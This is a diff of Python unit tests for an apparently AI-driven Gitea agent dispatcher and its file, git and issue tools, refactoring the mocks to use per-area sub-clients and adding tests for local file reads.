async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_class: MagicMock, mock_run: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
# Existing WIP PR addressing issue #42
|
# Existing WIP PR addressing issue #42
|
||||||
wip_pr = PullRequestModel(
|
wip_pr = PullRequestModel(
|
||||||
@@ -430,14 +508,14 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
|
|||||||
state="open",
|
state="open",
|
||||||
head={"ref": "fix/issue-42-add-x"}
|
head={"ref": "fix/issue-42-add-x"}
|
||||||
)
|
)
|
||||||
mock_client.list_repo_pull_requests.return_value = [wip_pr]
|
mock_client.prs.list_repo_pull_requests.return_value = [wip_pr]
|
||||||
mock_client.get_pr_reviews.return_value = []
|
mock_client.prs.get_pr_reviews.return_value = []
|
||||||
|
|
||||||
mock_client.get_issue_comments.return_value = [
|
mock_client.issues.get_issue_comments.return_value = [
|
||||||
_make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
|
_make_comment("unknown-ai", "### Proposed Plan\n<!-- agent:plan-proposal -->\n<!-- agent:awaiting-reply -->"),
|
||||||
_make_comment("michael", "looks good, go ahead")
|
_make_comment("michael", "looks good, go ahead")
|
||||||
]
|
]
|
||||||
mock_client.get_pull_request_comments.return_value = []
|
mock_client.prs.get_pull_request_comments.return_value = []
|
||||||
|
|
||||||
# Mock planning agent deciding EXECUTE_PLAN
|
# Mock planning agent deciding EXECUTE_PLAN
|
||||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||||
@@ -448,7 +526,13 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
|
|||||||
# Mock coding agent executing plan
|
# Mock coding agent executing plan
|
||||||
mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Updated Successfully.")
|
mock_coding_class.return_value.run_with_tools = AsyncMock(return_value="PR Updated Successfully.")
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -462,14 +546,15 @@ async def test_dispatch_resumes_wip_pr(mock_coord_class: MagicMock, mock_coding_
|
|||||||
assert results[0] == "PR Updated Successfully."
|
assert results[0] == "PR Updated Successfully."
|
||||||
|
|
||||||
# Ensure create_pull_request was NOT called since it already exists
|
# Ensure create_pull_request was NOT called since it already exists
|
||||||
mock_client.create_pull_request.assert_not_called()
|
mock_client.prs.create_pull_request.assert_not_called()
|
||||||
|
|
||||||
|
|
||||||
async def test_dispatch_skips_pr_if_not_requested_reviewer() -> None:
|
async def test_dispatch_skips_pr_if_not_requested_reviewer() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
# PR authored by michael, requested reviewers is empty (agent not requested)
|
# PR authored by michael, requested reviewers is empty (agent not requested)
|
||||||
pr_detail = PullRequestModel(
|
pr_detail = PullRequestModel(
|
||||||
@@ -479,9 +564,15 @@ async def test_dispatch_skips_pr_if_not_requested_reviewer() -> None:
|
|||||||
user=UserModel(login="michael"),
|
user=UserModel(login="michael"),
|
||||||
requested_reviewers=[]
|
requested_reviewers=[]
|
||||||
)
|
)
|
||||||
mock_client.get_pull_request.return_value = pr_detail
|
mock_client.prs.get_pull_request.return_value = pr_detail
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="pr",
|
task_type="pr",
|
||||||
@@ -513,12 +604,13 @@ def test_coordinator_tools_registration() -> None:
|
|||||||
|
|
||||||
@patch("core.dispatcher.CoordinatorAgent")
|
@patch("core.dispatcher.CoordinatorAgent")
|
||||||
async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMock) -> None:
|
async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMock) -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
mock_client.list_repo_pull_requests.return_value = []
|
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||||
mock_client.get_issue_comments.return_value = []
|
mock_client.issues.get_issue_comments.return_value = []
|
||||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
# Mock agent invoking propose_plan tool
|
# Mock agent invoking propose_plan tool
|
||||||
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
async def mock_decide(mission: str, planning_tools: list, coord_tools) -> str:
|
||||||
@@ -529,7 +621,13 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
|
|||||||
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
mock_coord_instance.decide_action = AsyncMock(side_effect=mock_decide)
|
||||||
mock_coord_class.return_value = mock_coord_instance
|
mock_coord_class.return_value = mock_coord_instance
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -541,7 +639,7 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
|
|||||||
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
results = await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||||
assert len(results) == 1
|
assert len(results) == 1
|
||||||
assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
|
assert "POSTED_COMMENT: PROPOSE_PLAN" in results[0]
|
||||||
mock_client.add_comment.assert_called_once_with(
|
mock_client.issues.add_comment.assert_called_once_with(
|
||||||
"meeks",
|
"meeks",
|
||||||
"repo1",
|
"repo1",
|
||||||
42,
|
42,
|
||||||
@@ -550,15 +648,22 @@ async def test_dispatch_uses_coordinator_tool_calling(mock_coord_class: MagicMoc
|
|||||||
|
|
||||||
|
|
||||||
async def test_dispatcher_raises_type_error_for_invalid_task_info() -> None:
|
async def test_dispatcher_raises_type_error_for_invalid_task_info() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
# Mock return values for methods called prior to the isinstance check
|
# Mock return values for methods called prior to the isinstance check
|
||||||
mock_client.list_repo_pull_requests.return_value = []
|
mock_client.prs.list_repo_pull_requests.return_value = []
|
||||||
mock_client.get_issue_comments.return_value = []
|
mock_client.issues.get_issue_comments.return_value = []
|
||||||
mock_client.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
mock_client.repos.get_authenticated_user.return_value = UserModel(login="unknown-ai")
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
|
|
||||||
# 1. Test dispatch raises TypeError if task_info is not IssueModel for an issue task
|
# 1. Test dispatch raises TypeError if task_info is not IssueModel for an issue task
|
||||||
work_item_invalid_issue = WorkItem(
|
work_item_invalid_issue = WorkItem(
|
||||||
@@ -588,13 +693,20 @@ async def test_dispatcher_raises_type_error_for_invalid_task_info() -> None:
|
|||||||
|
|
||||||
|
|
||||||
async def test_dispatch_fails_if_no_authenticated_user() -> None:
|
async def test_dispatch_fails_if_no_authenticated_user() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock()
|
||||||
mock_tools: MagicMock = MagicMock(spec=GiteaTools)
|
mock_client.repos = MagicMock()
|
||||||
|
mock_tools: MagicMock = MagicMock()
|
||||||
|
|
||||||
# Simulate get_authenticated_user returning None
|
# Simulate get_authenticated_user returning None
|
||||||
mock_client.get_authenticated_user.return_value = None
|
mock_client.repos.get_authenticated_user.return_value = None
|
||||||
|
|
||||||
dispatcher = AgentDispatcher(client=mock_client, tools=mock_tools)
|
dispatcher = AgentDispatcher(
|
||||||
|
client=mock_client,
|
||||||
|
issue_tools=MagicMock(),
|
||||||
|
pr_tools=MagicMock(),
|
||||||
|
file_tools=MagicMock(),
|
||||||
|
git_tools=MagicMock(),
|
||||||
|
)
|
||||||
work_item = WorkItem(
|
work_item = WorkItem(
|
||||||
repo_full_name="meeks/repo1",
|
repo_full_name="meeks/repo1",
|
||||||
task_type="issue",
|
task_type="issue",
|
||||||
@@ -607,7 +719,7 @@ async def test_dispatch_fails_if_no_authenticated_user() -> None:
|
|||||||
await dispatcher.dispatch("meeks/repo1", [work_item])
|
await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||||
|
|
||||||
# Simulate get_authenticated_user raising an Exception
|
# Simulate get_authenticated_user raising an Exception
|
||||||
mock_client.get_authenticated_user.side_effect = Exception("API error")
|
mock_client.repos.get_authenticated_user.side_effect = Exception("API error")
|
||||||
with pytest.raises(RuntimeError, match="No authenticated user found."):
|
with pytest.raises(RuntimeError, match="No authenticated user found."):
|
||||||
await dispatcher.dispatch("meeks/repo1", [work_item])
|
await dispatcher.dispatch("meeks/repo1", [work_item])
|
||||||
|
|
||||||
|
|||||||
+88
-31
@@ -3,19 +3,28 @@ from gitea.client import GiteaClient
|
|||||||
from gitea.tools.file_tools import FileTools
|
from gitea.tools.file_tools import FileTools
|
||||||
|
|
||||||
|
|
||||||
def test_get_file_content_string_success() -> None:
|
def _create_mock_client() -> MagicMock:
|
||||||
|
"""Create a mock GiteaClient with sub-client attributes."""
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.get_file_content.return_value = "file content here"
|
mock_client.files = MagicMock()
|
||||||
|
return mock_client
|
||||||
|
|
||||||
|
|
||||||
|
def test_get_file_content_string_success() -> None:
|
||||||
|
mock_client = _create_mock_client()
|
||||||
|
mock_client.files.get_file_content.return_value = "file content here"
|
||||||
|
|
||||||
file_tools: FileTools = FileTools(mock_client)
|
file_tools: FileTools = FileTools(mock_client)
|
||||||
res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
|
res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
|
||||||
assert res == "1: file content here"
|
assert res == "1: file content here"
|
||||||
mock_client.get_file_content.assert_called_once_with("owner", "repo", "path/to/file")
|
mock_client.files.get_file_content.assert_called_once_with(
|
||||||
|
"owner", "repo", "path/to/file"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_get_file_content_list_success() -> None:
|
def test_get_file_content_list_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.get_file_content.return_value = ["line1", "line2"]
|
mock_client.files.get_file_content.return_value = ["line1", "line2"]
|
||||||
|
|
||||||
file_tools: FileTools = FileTools(mock_client)
|
file_tools: FileTools = FileTools(mock_client)
|
||||||
res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
|
res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
|
||||||
@@ -23,8 +32,8 @@ def test_get_file_content_list_success() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_get_file_content_failure() -> None:
|
def test_get_file_content_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.get_file_content.side_effect = Exception("API Error")
|
mock_client.files.get_file_content.side_effect = Exception("API Error")
|
||||||
|
|
||||||
file_tools: FileTools = FileTools(mock_client)
|
file_tools: FileTools = FileTools(mock_client)
|
||||||
res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
|
res: str = file_tools.get_file_content("owner", "repo", "path/to/file")
|
||||||
@@ -32,66 +41,114 @@ def test_get_file_content_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_get_file_content_with_ref_string_success() -> None:
|
def test_get_file_content_with_ref_string_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.get_file_content.return_value = "file content here"
|
mock_client.files.get_file_content.return_value = "file content here"
|
||||||
|
|
||||||
file_tools: FileTools = FileTools(mock_client)
|
file_tools: FileTools = FileTools(mock_client)
|
||||||
res: str = file_tools.get_file_content_with_ref("owner", "repo", "path/to/file", "main")
|
res: str = file_tools.get_file_content_with_ref(
|
||||||
|
"owner", "repo", "path/to/file", "main"
|
||||||
|
)
|
||||||
assert res == "1: file content here"
|
assert res == "1: file content here"
|
||||||
mock_client.get_file_content.assert_called_once_with("owner", "repo", "path/to/file", "main")
|
mock_client.files.get_file_content.assert_called_once_with(
|
||||||
|
"owner", "repo", "path/to/file", "main"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_get_file_content_with_ref_list_success() -> None:
|
def test_get_file_content_with_ref_list_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.get_file_content.return_value = ["line1", "line2"]
|
mock_client.files.get_file_content.return_value = ["line1", "line2"]
|
||||||
|
|
||||||
file_tools: FileTools = FileTools(mock_client)
|
file_tools: FileTools = FileTools(mock_client)
|
||||||
res: str = file_tools.get_file_content_with_ref("owner", "repo", "path/to/file", "main")
|
res: str = file_tools.get_file_content_with_ref(
|
||||||
|
"owner", "repo", "path/to/file", "main"
|
||||||
|
)
|
||||||
assert res == "1: line1\n2: line2"
|
assert res == "1: line1\n2: line2"
|
||||||
|
|
||||||
|
|
||||||
def test_get_file_content_with_ref_failure() -> None:
|
def test_get_file_content_with_ref_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.get_file_content.side_effect = Exception("API Error")
|
mock_client.files.get_file_content.side_effect = Exception("API Error")
|
||||||
|
|
||||||
file_tools: FileTools = FileTools(mock_client)
|
file_tools: FileTools = FileTools(mock_client)
|
||||||
res: str = file_tools.get_file_content_with_ref("owner", "repo", "path/to/file", "main")
|
res: str = file_tools.get_file_content_with_ref(
|
||||||
|
"owner", "repo", "path/to/file", "main"
|
||||||
|
)
|
||||||
assert "Error getting file content: API Error" in res
|
assert "Error getting file content: API Error" in res
|
||||||
|
|
||||||
|
|
||||||
def test_commit_file_success() -> None:
|
def test_commit_file_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.update_file.return_value = {}
|
mock_client.files.update_file.return_value = {}
|
||||||
|
|
||||||
file_tools: FileTools = FileTools(mock_client)
|
file_tools: FileTools = FileTools(mock_client)
|
||||||
res: str = file_tools.commit_file("owner", "repo", "path/to/file", "msg", "content", "branch")
|
res: str = file_tools.commit_file(
|
||||||
|
"owner", "repo", "path/to/file", "msg", "content", "branch"
|
||||||
|
)
|
||||||
assert "committed successfully" in res
|
assert "committed successfully" in res
|
||||||
mock_client.update_file.assert_called_once_with("owner", "repo", "path/to/file", "msg", "content", "branch")
|
mock_client.files.update_file.assert_called_once_with(
|
||||||
|
"owner", "repo", "path/to/file", "msg", "content", "branch"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_commit_file_failure() -> None:
|
def test_commit_file_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.update_file.side_effect = Exception("API Error")
|
mock_client.files.update_file.side_effect = Exception("API Error")
|
||||||
|
|
||||||
file_tools: FileTools = FileTools(mock_client)
|
file_tools: FileTools = FileTools(mock_client)
|
||||||
res: str = file_tools.commit_file("owner", "repo", "path/to/file", "msg", "content", "branch")
|
res: str = file_tools.commit_file(
|
||||||
|
"owner", "repo", "path/to/file", "msg", "content", "branch"
|
||||||
|
)
|
||||||
assert "Error committing file: API Error" in res
|
assert "Error committing file: API Error" in res
|
||||||
|
|
||||||
|
|
||||||
def test_update_file_success() -> None:
|
def test_update_file_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.update_file.return_value = {}
|
mock_client.files.update_file.return_value = {}
|
||||||
|
|
||||||
file_tools: FileTools = FileTools(mock_client)
|
file_tools: FileTools = FileTools(mock_client)
|
||||||
res: str = file_tools.update_file("owner", "repo", "path/to/file", "msg", "content", "branch")
|
res: str = file_tools.update_file(
|
||||||
|
"owner", "repo", "path/to/file", "msg", "content", "branch"
|
||||||
|
)
|
||||||
assert "updated in" in res
|
assert "updated in" in res
|
||||||
mock_client.update_file.assert_called_once_with("owner", "repo", "path/to/file", "msg", "content", "branch")
|
mock_client.files.update_file.assert_called_once_with(
|
||||||
|
"owner", "repo", "path/to/file", "msg", "content", "branch"
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
def test_update_file_failure() -> None:
|
def test_update_file_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.update_file.side_effect = Exception("API Error")
|
mock_client.files.update_file.side_effect = Exception("API Error")
|
||||||
|
|
||||||
file_tools: FileTools = FileTools(mock_client)
|
file_tools: FileTools = FileTools(mock_client)
|
||||||
res: str = file_tools.update_file("owner", "repo", "path/to/file", "msg", "content", "branch")
|
res: str = file_tools.update_file(
|
||||||
|
"owner", "repo", "path/to/file", "msg", "content", "branch"
|
||||||
|
)
|
||||||
assert "Error updating file: API Error" in res
|
assert "Error updating file: API Error" in res
|
||||||
|
|
||||||
|
|
||||||
|
def test_get_file_content_uses_local_file_when_available(tmp_path: str) -> None:
|
||||||
|
import os
|
||||||
|
mock_client = _create_mock_client()
|
||||||
|
|
||||||
|
repo_dir = tmp_path / "owner" / "repo"
|
||||||
|
repo_dir.mkdir(parents=True)
|
||||||
|
file_path = repo_dir / "path" / "to" / "file"
|
||||||
|
file_path.parent.mkdir(parents=True)
|
||||||
|
file_path.write_text("local file content")
|
||||||
|
|
||||||
|
file_tools = FileTools(mock_client, str(tmp_path))
|
||||||
|
res = file_tools.get_file_content("owner", "repo", "path/to/file")
|
||||||
|
assert res == "1: local file content"
|
||||||
|
mock_client.files.get_file_content.assert_not_called()
|
||||||
|
|
||||||
|
|
||||||
|
def test_get_file_content_falls_back_to_api_when_no_local(tmp_path: str) -> None:
|
||||||
|
mock_client = _create_mock_client()
|
||||||
|
mock_client.files.get_file_content.return_value = "api content"
|
||||||
|
|
||||||
|
file_tools = FileTools(mock_client, str(tmp_path))
|
||||||
|
res = file_tools.get_file_content("owner", "repo", "path/to/file")
|
||||||
|
assert res == "1: api content"
|
||||||
|
mock_client.files.get_file_content.assert_called_once_with(
|
||||||
|
"owner", "repo", "path/to/file"
|
||||||
|
)
|
||||||
|
|||||||
+12
-5
@@ -3,19 +3,26 @@ from gitea.client import GiteaClient
|
|||||||
from gitea.tools.git_tools import GitTools
|
from gitea.tools.git_tools import GitTools
|
||||||
|
|
||||||
|
|
||||||
def test_create_branch_success() -> None:
|
def _create_mock_client() -> MagicMock:
|
||||||
|
"""Create a mock GiteaClient with sub-client attributes."""
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
mock_client.create_ref.return_value = {}
|
mock_client.files = MagicMock()
|
||||||
|
return mock_client
|
||||||
|
|
||||||
|
|
||||||
|
def test_create_branch_success() -> None:
|
||||||
|
mock_client = _create_mock_client()
|
||||||
|
mock_client.files.create_ref.return_value = {}
|
||||||
|
|
||||||
git_tools: GitTools = GitTools(mock_client)
|
git_tools: GitTools = GitTools(mock_client)
|
||||||
res: str = git_tools.create_branch("owner", "repo", "ref", "sha")
|
res: str = git_tools.create_branch("owner", "repo", "ref", "sha")
|
||||||
assert res == "Branch 'ref' created successfully in owner/repo."
|
assert res == "Branch 'ref' created successfully in owner/repo."
|
||||||
mock_client.create_ref.assert_called_once_with("owner", "repo", "ref", "sha")
|
mock_client.files.create_ref.assert_called_once_with("owner", "repo", "ref", "sha")
|
||||||
|
|
||||||
|
|
||||||
def test_create_branch_failure() -> None:
|
def test_create_branch_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.create_ref.side_effect = Exception("API Error")
|
mock_client.files.create_ref.side_effect = Exception("API Error")
|
||||||
|
|
||||||
git_tools: GitTools = GitTools(mock_client)
|
git_tools: GitTools = GitTools(mock_client)
|
||||||
res: str = git_tools.create_branch("owner", "repo", "ref", "sha")
|
res: str = git_tools.create_branch("owner", "repo", "ref", "sha")
|
||||||
|
|||||||
+57
-46
@@ -6,42 +6,53 @@ from gitea.models import IssueModel, CommentModel, LabelModel, RepositoryModel
|
|||||||
from gitea.tools.issue_tools import IssueTools
|
from gitea.tools.issue_tools import IssueTools
|
||||||
|
|
||||||
|
|
||||||
def test_get_issue_success() -> None:
|
def _create_mock_client() -> MagicMock:
|
||||||
|
"""Create a mock GiteaClient with sub-client attributes."""
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
||||||
|
mock_client.issues = MagicMock()
|
||||||
|
mock_client.repos = MagicMock()
|
||||||
|
return mock_client
|
||||||
|
|
||||||
|
|
||||||
|
def test_get_issue_success() -> None:
|
||||||
|
mock_client = _create_mock_client()
|
||||||
issue: IssueModel = IssueModel(number=1, title="Test Issue", state="open")
|
issue: IssueModel = IssueModel(number=1, title="Test Issue", state="open")
|
||||||
mock_client.get_issue.return_value = issue
|
mock_client.issues.get_issue.return_value = issue
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.get_issue("owner", "repo", 1)
|
res: IssueModel = issue_tools.get_issue("owner", "repo", 1)
|
||||||
|
|
||||||
data: dict[str, Any] = json.loads(res)
|
assert isinstance(res, IssueModel)
|
||||||
assert data["number"] == 1
|
assert res.number == 1
|
||||||
assert data["title"] == "Test Issue"
|
assert res.title == "Test Issue"
|
||||||
mock_client.get_issue.assert_called_once_with("owner", "repo", 1)
|
mock_client.issues.get_issue.assert_called_once_with("owner", "repo", 1)
|
||||||
|
|
||||||
|
|
||||||
def test_get_issue_failure() -> None:
|
def test_get_issue_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.get_issue.side_effect = Exception("API Error")
|
mock_client.issues.get_issue.side_effect = Exception("API Error")
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.get_issue("owner", "repo", 1)
|
try:
|
||||||
assert "Error getting issue: API Error" in res
|
issue_tools.get_issue("owner", "repo", 1)
|
||||||
|
assert False, "Expected Exception"
|
||||||
|
except Exception as e:
|
||||||
|
assert str(e) == "API Error"
|
||||||
|
|
||||||
|
|
||||||
def test_close_issue_success() -> None:
|
def test_close_issue_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.close_issue.return_value = IssueModel(number=1, state="closed")
|
mock_client.issues.close_issue.return_value = IssueModel(number=1, state="closed")
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.close_issue("owner", "repo", 1)
|
res: str = issue_tools.close_issue("owner", "repo", 1)
|
||||||
assert res == "Issue #1 closed successfully."
|
assert res == "Issue #1 closed successfully."
|
||||||
mock_client.close_issue.assert_called_once_with("owner", "repo", 1)
|
mock_client.issues.close_issue.assert_called_once_with("owner", "repo", 1)
|
||||||
|
|
||||||
|
|
||||||
def test_close_issue_failure() -> None:
|
def test_close_issue_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.close_issue.side_effect = Exception("API Error")
|
mock_client.issues.close_issue.side_effect = Exception("API Error")
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.close_issue("owner", "repo", 1)
|
res: str = issue_tools.close_issue("owner", "repo", 1)
|
||||||
@@ -49,9 +60,9 @@ def test_close_issue_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_get_issue_comments_success() -> None:
|
def test_get_issue_comments_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
comment: CommentModel = CommentModel(id=123, body="Comment body")
|
comment: CommentModel = CommentModel(id=123, body="Comment body")
|
||||||
mock_client.get_issue_comments.return_value = [comment]
|
mock_client.issues.get_issue_comments.return_value = [comment]
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.get_issue_comments("owner", "repo", 1)
|
res: str = issue_tools.get_issue_comments("owner", "repo", 1)
|
||||||
@@ -61,8 +72,8 @@ def test_get_issue_comments_success() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_get_issue_comments_failure() -> None:
|
def test_get_issue_comments_failure() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
mock_client.get_issue_comments.side_effect = Exception("API Error")
|
mock_client.issues.get_issue_comments.side_effect = Exception("API Error")
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: str = issue_tools.get_issue_comments("owner", "repo", 1)
|
res: str = issue_tools.get_issue_comments("owner", "repo", 1)
|
||||||
@@ -70,23 +81,23 @@ def test_get_issue_comments_failure() -> None:
|
|||||||
|
|
||||||
|
|
||||||
def test_list_assigned_issues_success() -> None:
|
def test_list_assigned_issues_success() -> None:
|
||||||
mock_client: MagicMock = MagicMock(spec=GiteaClient)
|
mock_client = _create_mock_client()
|
||||||
repo: RepositoryModel = RepositoryModel(name="repo1", owner="owner1")
|
repo: RepositoryModel = RepositoryModel(name="repo1", owner="owner1")
|
||||||
issue: IssueModel = IssueModel(number=1, title="Test Issue")
|
issue: IssueModel = IssueModel(number=1, title="Test Issue")
|
||||||
mock_client.list_all_user_repos.return_value = [repo]
|
mock_client.repos.list_all_user_repos.return_value = [repo]
|
||||||
mock_client.list_assigned_issues.return_value = [issue]
|
mock_client.issues.list_assigned_issues.return_value = [issue]
|
||||||
|
|
||||||
issue_tools: IssueTools = IssueTools(mock_client)
|
issue_tools: IssueTools = IssueTools(mock_client)
|
||||||
res: list[dict[str, Any]] = issue_tools.list_assigned_issues()
|
res: list[dict[str, Any]] = issue_tools.list_assigned_issues()
|
||||||
assert len(res) == 1
|
assert len(res) == 1
|
||||||
assert res[0]["number"] == 1
|
assert res[0]["number"] == 1
|
||||||
mock_client.list_all_user_repos.assert_called_once()
|
mock_client.repos.list_all_user_repos.assert_called_once()
|
||||||
mock_client.list_assigned_issues.assert_called_once_with("owner1", "repo1")
|
